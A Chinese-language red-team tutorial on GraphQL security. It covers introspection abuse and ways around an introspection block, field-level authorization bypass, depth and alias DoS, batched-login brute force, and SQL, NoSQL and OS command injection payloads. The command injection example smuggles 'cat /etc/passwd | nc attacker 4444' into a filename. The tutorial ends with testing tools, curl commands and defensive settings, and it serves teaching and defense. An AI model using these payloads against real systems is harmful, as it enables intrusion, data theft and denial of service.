目录


一、GraphQL基础

与传统REST的区别

RESTGraphQL
端点多个 (/users, /posts)单个 (/graphql)
数据获取服务器决定返回什么客户端指定需要的字段
过度获取常见精确控制
文档Swagger/OpenAPI内省 (Introspection)
版本化URL版本 /v1/字段过期标记

查询基础

# 查询:获取用户的名字和邮箱
query {
 user(id: 1) {
 name
 email
 posts {
 title
 content
 }
 }
}
 
# 变更:更新数据
mutation {
 updateUser(id: 1, input: { name: "New Name" }) {
 id
 name
 }
}
 
# 订阅:实时数据
subscription {
 userUpdated {
 id
 name
 }
}

二、内省查询利用

什么是内省

GraphQL的内省系统允许客户端查询API的完整模式(Schema):

# 查询所有类型
{
 __schema {
 types {
 name
 kind
 fields {
 name
 type { name kind }
 }
 }
 }
}
 
# 查询特定类型
{
 __type(name: "User") {
 name
 fields {
 name
 type { name kind }
 args { name type { name } }
 }
 }
}

利用内省发现攻击面

# 1. 发现敏感字段
# 通过内省发现:User.passwordHash, User.resetToken, User.email
 
# 2. 发现隐藏的Query/Mutation
# 内省显示:adminDeleteUser, internalGetAllData
 
# 3. 发现所有参数
# 字段参数中包含:filter, sort, limit, offset

禁止内省?绕过方法

# 如果 __schema 被禁用,尝试:
# 1. 用空格/注释绕过字符检查
{__schema{types{name}}}
 
# 2. 用别名
{ s:__schema { types { name } } }
 
# 3. 嵌套在合法查询中
query validQuery {
 user(id: 1) { name }
 __schema { types { name } } # 额外的内省
}

三、字段级权限绕过

场景

GraphQL的权限控制需要每个字段独立检查,但很多实现只在Query级别检查权限:

# 假设:只有管理员能看用户邮箱
# 普通用户查询(权限不足)
query {
 user(id: 1) {
 name
 email # ← 应该被拒绝
 }
}
# 预期:{ "user": { "name": "Alice", "email": null } }
# 漏洞:{ "user": { "name": "Alice", "email": "admin@company.com" } }
 
# GraphQL特性:客户端控制返回字段
# 如果服务端只在Query级别检查,而非字段级别 → 权限绕过

字段建议 (Field Suggestions)

# 输入错误的字段名,GraphQL会给出建议
query {
 user(id: 1) {
 full_name # ← 错误字段
 }
}
 
# 响应可能泄露正确字段名:
# "Cannot query field 'full_name' on type 'User'. 
# Did you mean 'privateEmail' or 'fullName'?"
# ↑ 泄露了隐藏字段!

四、深度查询DoS

循环引用攻击

# 利用对象之间的循环引用
query DeepDoS {
 user(id: 1) {
 posts {
 author { # ← 回到User类型
 posts { # ← 又回到Post类型
 author { # ← 无限循环!
 posts {
 # ... 继续嵌套
 }
 }
 }
 }
 }
 }
}

深度+n查询

# 每一层列出许多字段,导致指数级的嵌套
query DepthAttack {
 users { # 100条
 posts { # 每条10篇 = 1000
 comments { # 每条20评论 = 20000
 author { # 20000个作者
 posts { # 每个10篇 = 200000
 comments { # ← 爆炸!
 content
 }
 }
 }
 }
 }
 }
}

别名攻击(批量查询)

# 用别名进行批量查询
query AliasAttack {
 q1: user(id: 1) { name email }
 q2: user(id: 2) { name email }
 q3: user(id: 3) { name email }
 # ... 重复1000次
 q1000: user(id: 1000) { name email }
}
# 一次请求 = 1000次查询 → 服务器压力巨大

五、批量查询攻击

数组批量查询

# 一次查询1万个用户
query {
 users(first: 10000) {
 edges {
 node { name email phone }
 }
 }
}
 
# 即使后端限制了每页数量,仍可能被绕过:
# GET /graphql?query=query{users(first:10000){edges{node{email}}}}

Batching攻击(批量Mutation)

# 批量尝试登录(暴力破解)
mutation {
 a: login(username: "admin", password: "pass1") { token }
 b: login(username: "admin", password: "pass2") { token }
 c: login(username: "admin", password: "pass3") { token }
 # ... 一次请求发送100次登录尝试
 # 绕过了传统的速率限制(基于请求数/秒)
}

六、GraphQL注入

SQL注入 via GraphQL

# 如果参数未做安全过滤
query {
 user(id: "1 OR 1=1") {
 name
 email
 }
}
 
# 后端生成SQL:
# SELECT name, email FROM users WHERE id = '1 OR 1=1'
# → 返回所有用户!

NoSQL注入 via GraphQL

# MongoDB注入
query {
 users(filter: { "$where": "this.isAdmin == true" }) {
 name email
 }
}

OS命令注入

# 如果文件上传或命令参数未过滤
mutation {
 uploadFile(name: "profile; cat /etc/passwd | nc attacker 4444") {
 id
 }
}

七、安全测试方法论

GraphQL渗透测试流程

Phase 1: 端点发现
 /graphql
 /gql
 /query
 /api/graphql
 /v1/graphql

Phase 2: 内省利用
 { __schema { types { name fields { name } } } }
 导出 → 生成完整API图谱

Phase 3: 权限测试
 - 未认证访问敏感Query/Mutation
 - 字段级别权限绕过
 - 跨租户数据访问 (IDOR)

Phase 4: 注入测试
 - 字符串参数 → SQL / NoSQL注入
 - 数字参数 → 类型混淆 / 溢出

Phase 5: DoS测试
 - 循环引用
 - 别名批量
 - 深度嵌套

Phase 6: 业务逻辑
 - 批量伪造
 - 竞态条件

工具

工具用途
Graphw00fGraphQL端点指纹识别
InQL (Burp插件)GraphQL内省和扫描
GraphQLmapGraphQL攻击框架
clairvoyance无法内省时的Schema推断
BatchQL批量查询漏洞检测
graphql-copGraphQL安全审计

常用测试命令

# 检测端点是否支持GET
curl 'https://target.com/graphql?query={__typename}'
 
# POST内省查询
curl -X POST https://target.com/graphql \
 -H "Content-Type: application/json" \
 -d '{"query":"{__schema{types{name}}}"}'
 
# 测试批量别名
curl -X POST https://target.com/graphql \
 -H "Content-Type: application/json" \
 -d '{"query":"query{a:user(id:1){name}b:user(id:2){name}}"}'

八、红队视角总结

GraphQL攻击面速查

攻击利用的GraphQL特性危害
内省泄露__schema __type完整API文档暴露
字段建议错误消息隐藏字段名泄露
深度嵌套无深度限制服务器DoS
别名批量别名语法绕过速率限制
循环引用对象关联CPU/内存耗尽
字段级权限仅Query级检查越权读取敏感数据
批量Mutation一次请求多操作暴力破解

防御速查

// 1. 生产环境关闭内省
const server = new ApolloServer({
 typeDefs,
 resolvers,
 introspection: false, // ← 关闭内省
 playground: false, // ← 关闭Playground
});
 
// 2. 查询深度限制
const depthLimit = require('graphql-depth-limit');
// 最大5层嵌套
 
// 3. 查询复杂度分析
const { createComplexityLimitRule } = require('graphql-validation-complexity');
// 每个查询分配成本分数
 
// 4. 别名数量限制
// 每个请求最多10个别名
 
// 5. 字段级权限
// 在Resolver中为每个字段做authZ检查

返回 前端基础总目录